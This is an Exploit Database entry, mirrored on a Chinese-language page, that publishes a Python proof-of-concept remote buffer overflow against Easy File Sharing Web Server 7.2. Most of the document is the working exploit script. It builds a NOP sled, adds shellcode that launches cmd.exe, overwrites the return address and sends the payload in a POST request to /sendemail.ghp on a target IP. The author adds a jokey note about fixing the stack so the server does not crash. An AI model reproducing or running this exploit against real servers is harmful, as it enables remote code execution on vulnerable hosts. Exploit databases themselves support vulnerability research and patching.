Easy File Sharing Web Server 7.2 – ‘POST’ Remote Buffer Overflow

• Exploit Database
• 96 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-06-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42165/
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  #!/usr/bin/python   # Title : EFS Web Server 7.2 POST HTTP Request Buffer Overflow # Author : Touhid M.Shaikh # Date : 12 June, 2017 # Contact: touhidshaikh22@gmail.com # Version: 7.2 # category: Remote Exploit # Tested on: Windows XP SP3 EN [Version 5.1.2600]     """ ######## Description ########   What is Easy File Sharing Web Server 7.2 ? Easy File Sharing Web Server is a file sharing software that allows visitors to upload/download files easily through a Web Browser. It can help you share files with your friends and colleagues. They can download files from your computer or upload files from theirs.They will not be required to install this software or any other software because an internet browser is enough. Easy File Sharing Web Server also provides a Bulletin Board System (Forum). It allows remote users to post messages and files to the forum. The Secure Edition adds support for SSL encryption that helps protect businesses against site spoofing and data corruption.     ######## Video PoC and Article ########   https://www.youtube.com/watch?v=Mdmd-7M8j-M http://touhidshaikh.com/blog/poc/EFSwebservr-postbufover/   """   import httplib     total = 4096   #Shellcode Open CMD.exe shellcode = ( "\x8b\xec\x55\x8b\xec" "\x68\x65\x78\x65\x2F" "\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8" "\xc7\x93\xc2\x77" "\xff\xd0")     our_code = "\x90"*100 #NOP Sled our_code += shellcode our_code += "\x90"*(4072-100-len(shellcode))   # point Ret to Nop Sled our_code += "\x3c\x62\x83\x01" # Overwrite RET our_code += "\x90"*12 #Nop Sled our_code += "A"*(total-(4072+16)) # ESP pointing       # Server address and POrt httpServ = httplib.HTTPConnection("192.168.1.6", 80) httpServ.connect()   httpServ.request('POST', '/sendemail.ghp', 'Email=%s&getPassword=Get+Password' % our_code)   response = httpServ.getresponse()     httpServ.close()   """ NOTE : After Exiting to cmd.exe our server will be crash bcz of esp Adjust esp by yourself ... hehhehhe... """   """ __ __| _ \| | | |_ _| __ \ || | | | | ||| | || | | | ___ ||| | _| \___/ \___/ _|_|___|____/   Touhid M.Shaikh """